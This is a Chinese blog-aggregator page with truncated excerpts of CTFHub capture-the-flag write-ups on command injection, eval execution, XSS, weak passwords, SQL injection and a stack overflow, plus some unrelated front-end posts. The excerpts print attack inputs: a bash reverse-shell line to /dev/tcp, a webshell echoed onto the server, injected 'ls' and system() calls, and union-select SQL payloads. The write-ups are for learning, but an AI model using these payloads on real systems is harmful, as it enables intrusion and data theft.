【CTFHUB】Web技能树

CTFHub web技能树之RCE初步命令注入+过滤cat

在一个大佬的突然丢了个题过来,于是去玩了玩rce的两道题大佬的博客跳转链接在此->>>大佬召唤机叫命令注入一上来就是源码出现,上面有个ping的地方 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res); } ?> <!DOCTYPE html> <…

CTFHub web技能树 RCE

一个简单的ping,还没有过滤,源码也给出来了 ls一下 127.0.0.1 & ls 有一个可疑的php文件,,,但是直接访问和 cat 都出不来... 试了几下反弹shell,没成功...于是直接用echo了一个一句话进去 .php 注意这里$转义了一下,不转的话会被识别成变量.. 之后拿我40米长的菜刀 php用了注释..和想的差不多这题竟然花了那么久我是这样反弹shell.. bash -i >& /dev/tcp/ip/port 过滤空格的 127.0.0.1&…

【CTFHUB】Web技能树

Web HTTP协议请求方式…

CTFHub Web题学习笔记（Web前置技能+信息泄露题解writeup）

今天CTFHub正式上线了,https://www.ctfhub.com/#/index,之前有看到这个平台,不过没在上面做题,技能树还是很新颖的,不足的是有的方向的题目还没有题目,CTF比赛时间显示也挺好的,这样就不用担心错过比赛了. 先做签到题,访问博客就可以拿到. Web前置技能, 可以看到大部分题目都还没有补充完成. HTTP协议第一题:请求方式一般来说我们比较常用的是GET和POST方法开启题目可以看到是需要我们使用CTFHUB方法访问该网址,burpsuite里面修改请求方法好…

CTFHub Web题学习笔记（SQL注入题解writeup）

Web题下的SQL注入 1,整数型注入使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入常规做法,查看字段数,回显位置 ?id=1%20order%20by%202 字段数为2 ?id=1%20and%201=2%20union%20select%201,2 1,2位置都回显,查表名 ?id=1%20and%201=2%20union%20select%20group_concat(table_name),2%20from%20inform…

CTFHub[PWN技能树]——栈溢出

文章目录一.ret2text 二.ret2shellcode 一.ret2text 例行检查,64位程序,没有开启任何保护本地运行一下情况,看看大概的情况 64位ida载入,检索程序里的字符串发现了bin/sh 要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system('/bin/sh') 看main函数第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system('/bin/sh')的地址即可 from pwn import * #p=proce…

CTFHub - Web（六)

命令注入: 1.进入页面,测试127.0.0.1, 关键代码: <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip, $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令,可以拼接 exec($cmd, $res);// 执行cmd,把结果输出到res } if ($res) { print_r($res);// 打印结果 } show_source(_…

CTFHub - Web（五)

eval执行: 1.进入网页,显示源码, <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?> 2.输入命令,发现该文件并不是想要的, cmd=system("ls"); 3.继续查看目录命令, cmd=system("ls /"); 4.查看,得到flag, cmd=system(&qu…

CTFHub - Web（四)

最近又是每天忙到裂开,,,淦 xss: 反射型: 1.第一个输入框与下面Hello后的内容相同,猜测可以通过该输入,改变页面内容. 测试语句: <script>alert(1)</script> 2.测试第一步中的语句,出现如下回显, 3.根据url栏可知通过_GET传入参数, 4.经过测试,第二个输入框输入URL时,返回SUCCESS,猜测在后台进行访问, 5.使用XSS测试平台,创建项目,将网址name=后改为平台提供的代码后,send,在项目内容中接收flag, 6.得到fl…

CTFHub - Web（三)

密码口令: 弱口令: 1.随意输入账号密码,抓包, 2.右击,"Send to Intruder",打开选项卡Intruder,点击position,椭圆框处软件已经自动为我们把要爆破的字段标注了出来.设置payload,加载自己的密码字典(包含一些常见的密码),开始爆破. 默认口令: 1. 根据题目提示,去搜索北京亿中邮信息技术有限公司邮件网关的默认口令, 2.尝试如下账号密码, 账号:eyougw 密码:admin@(eyou) flag: ctfhub{de322d85c14bf…

CTFHub - Web（二）

目录遍历: 法一: 依次查看目录即可: 法二: 利用脚本: #!/usr/bin/python3 # -*- coding: utf-8 -*- # --author:valecalida-- import urllib.request num_list = [i+1 for i in range(4)] for i in num_list: try: res = urllib.request.urlopen("http://challenge-c1…

CTFHub - Web（一）

请求方法: 1.进入页面,提示:HTTP 请求方法, HTTP/1.1协议中共定义了八种方法(也叫动作)来以不同方式操作指定的资源. 2.当前http的请求方式是get请求,当你使用CTFHUB为请求方式时,你将获得flag(HTTP Method 是可以自定义的,并且区分大小写) 3.方法:(1)burp抓包,修改HTTP Method为CTFHUB,发包,返回flag信息(2)用curl命令行工具,执行命令,在返回的源代码里可以找到flag信息 curl -v -X CTFHUB url地址…

ctfhub web 前置技能（请求方式、302跳转、Cookie）

第一题:请求方式打开环境分析题目发现当前请求方式为GET 查看源码发现需要将请求方式改为CTFHUB就可以使用bp抓包发送到repeater模块修改请求方式即可得到flag 第二题:302跳转打开环境发现flag不在这儿然后点击give me flag 返回当前页面查看代码发现flag在index.php里而当前却在index.html里并且url不可以直接更改所以用linux curl命令访问该页面即可得到flag 第三题:Cookie 打开环境得知只有管理员能得到flag…

ctfhub web信息泄露备份文件下载(vim缓存 Ds-Store)

Vim缓存进入环境由于不懂得vim是什么借鉴大佬的博客网页提示flag在index.php中我们按着这个思路去找将文件保存下来因为是swp文件我们用kail进行打开使用vim -r index.php.swp我们即可得到flag Ds-Store 打开环境按照题目意思下载ds_store 保存文件用cat查看一下访问这个地址即可找到flag…

ctfhub web信息泄露备份文件下载（网站源码，back文件）

网站源码进入环境,首先我们用bp抓一下包在HTTP请求方式GET/后添加两个负载,一个用于爆破文件名,一个用于爆破后缀名得知网页源码的备份形式为www.zip,下载网页源码打开记事本文件发现是这个东西通过url访问即可得到flag Bak文件打开环境我们查看源码发现备份文件为bak,并且得知flag在index.php里,尝试index.php.bak 将文件下载打开我们便得到了flag…

Web前端小白入门指迷

前注:这篇文章首发于我自己创办的服务于校园的技术分享 [西邮 Upper -- 004]Web前端小白入门指迷,写得很用心也就发在这里. 大前端之旅大前端有很多种,Shell 前端,客户端前端,App 前端,Web 前端和可能接下来很会火起来的 VR 前端等.当然在这篇文章,集中讨论一下身为小白,我们怎样去了解 Web 前端,以至达到一种入门级别的水平. 前端篇: 前端演进史这同时也可作为任何一门编程语言之旅的小参考,不足之处欢迎指出. 为什么学 Web 前端互联网的快速发展和激烈竞争,用…

js高级群的一些整理6月

https://github.com/the5fire/backbonejs-learning-note/blob/master/chapters/01-hello-backbonejs.rst Backbonejs中文 https://github.com/snfed Suning FED team苏宁前端 http://www.cnblogs.com/2050/p/3877280.html 移动前端开发之viewport的深入理解各种验证 https://github.com/niceue…

ctfhub技能树—web前置技能—http协议—请求方式

打开靶机环境(每次打开都要30金币,好心疼啊) 题目描述为"请求方式" HTTP的请求方式共有八种 1.OPTIONS 返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送'*'的请求来测试服务器的功能性 2.HEAD 向服务器索与GET请求相一致的响应,只不过响应体将不会被返回.这一方法可以再不必传输整个响应内容的情况下,就可以获取包含在响应小消息头中的元信息. 3.GET 向特定的资源发出请求.注意:GET方法不应当被用于产生"副作用"的…

ctfhub技能树—web前置技能—http协议—Cookie

打开靶机环境查看显示内容根据提示,需要admin登录才能得到flag 题目介绍为Cookie欺骗.认证.伪造介绍一下cookie和session 一.cookie: 在网站中,http请求是无状态的.也就是说即使第一次和服务器连接后并且登录成功后,第二次请求服务器依然不能知道当前请求是哪个用户.cookie的出现就是为了解决这个问题,第一次登录后服务器返回一些数据(cookie)给浏览器,然后浏览器保存在本地,当该用户发送第二次请求的时候,就会自动的把上次请求存储的cookie数据自动的携…

ctfhub技能树—web前置技能—http协议—302跳转

开启靶机打开环境,查看显示点击Give me Flag后发生跳转根据题目提示为HTTP临时重定向简单记录一下HTTP临时重定向是什么 HTTP重定向:服务器无法处理浏览器发送过来的请求(request),服务器告诉浏览器跳转到可以处理请求的url上.(浏览器会自动访问该URL地址,以至于用户无法分辨是否重定向了.) 重定向的返回码3XX说明.Location响应首部包含了内容的新地址或是优选地址的URL. 状态码 301:在请求的URL已被移除时使用.响应的Location首部中应该包含…

ctfhub技能树—web前置技能—http协议—基础认证

打开靶机环境下载附件后发现是常用密码字典,于是考虑本题可能是考察密码爆破打开环境发现需要认证,于是考虑使用暴力破解使用burpsuite抓包,查看发现最下面一行有加密后的密文使用base64解码发现是刚刚输入用于验证的账号密码于是使用脚本把密码进行加密附上脚本 #! /usr/bin/env python3 # _*_ coding:utf-8 _*_ import base64 # 字典文件路径 dic_file_path = './10_million_password_l…

ctfhub技能树—web前置技能—http协议—响应包源代码

打开靶机环境查看网页是一个贪吃蛇小游戏根据提示查看源码发现flag 至此HTTP协议结束…

ctfhub技能树—彩蛋

彩蛋题建议大家首先自己动手去找一找做好准备后再看下文 ! 1.首页使用域名查询工具查询子域名 2.公众号此题关注ctfhub公众号即可拿到,不过多赘述. 3.题目入口随便开启一个题目,抓包在url中间添加换行或空格,再放包,即可拿到flag 4.Writeup 在Writeup里搜索egg即可拿到flag 5.工具在工具里搜索egg,即可拿到flag flag就在链接里 6.赛事一个套路 7.真题 8.投稿提交这道题比较有意思,flag分别在不…

【CTF】CTFHub 技能树彩蛋 writeup

碎碎念 CTFHub:https://www.ctfhub.com/ 笔者入门CTF时时刚开始刷的是bugku的旧平台,后来才有了CTFHub. 感觉不论是网页UI设计,还是题目质量,赛事跟踪,工具软件都做得很不错. 而且因为独到的金币制度的确让人有一种想去刷题赚金币的感觉. 个人还是非常喜欢这个平台的. 某天随便瞅瞅CTFHub的工具页面,一页页地翻下去看看有没有什么需要的黑科技. 翻到最后一页时候,突然发现了个egg!! 然后注意到技能树的彩蛋部分. wow不错不错,有意思!! 虽然都不是很…

信息安全技能树（SecWiki中Web安全工程师职位建议）

职位描述: 对公司网站.业务系统进行安全评估测试(黑盒.白盒测试): 对公司各类系统进行安全加固: 对公司安全事件进行响应,清理后门,根据日志分析攻击途径: 安全技术研究,包括安全防范技术,黑客技术等: 跟踪最新漏洞信息,进行业务产品的安全检查. 职位要求: 熟悉主流的Web安全技术,包括SQL注入.XSS.CSRF.一句话木马等安全风险: 熟悉国内外主流安全产品和工具,如:Nessus.Nmap.AWVS.Burp.Appscan等: 熟悉windows.linux平台渗透测试.后门分析.加固…

【【CTFHUB】Web技能树】的更多相关文章

CTFHub web技能树之RCE初步命令注入+过滤cat

CTFHub web技能树 RCE

【CTFHUB】Web技能树

CTFHub Web题学习笔记（Web前置技能+信息泄露题解writeup）

CTFHub Web题学习笔记（SQL注入题解writeup）

CTFHub[PWN技能树]——栈溢出

CTFHub - Web（六)

CTFHub - Web（五)

CTFHub - Web（四)

CTFHub - Web（三)

CTFHub - Web（二）

CTFHub - Web（一）

ctfhub web 前置技能（请求方式、302跳转、Cookie）

ctfhub web信息泄露备份文件下载(vim缓存 Ds-Store)

ctfhub web信息泄露备份文件下载（网站源码，back文件）

Web前端小白入门指迷

js高级群的一些整理6月

ctfhub技能树—web前置技能—http协议—请求方式

ctfhub技能树—web前置技能—http协议—Cookie

ctfhub技能树—web前置技能—http协议—302跳转

ctfhub技能树—web前置技能—http协议—基础认证

ctfhub技能树—web前置技能—http协议—响应包源代码

ctfhub技能树—彩蛋

【CTF】CTFHub 技能树彩蛋 writeup

信息安全技能树（SecWiki中Web安全工程师职位建议）

ctfhub技能树—sql注入—过滤空格

ctfhub技能树—sql注入—Refer注入

ctfhub技能树—sql注入—UA注入

ctfhub技能树—sql注入—Cookie注入

ctfhub技能树—RCE—综合过滤练习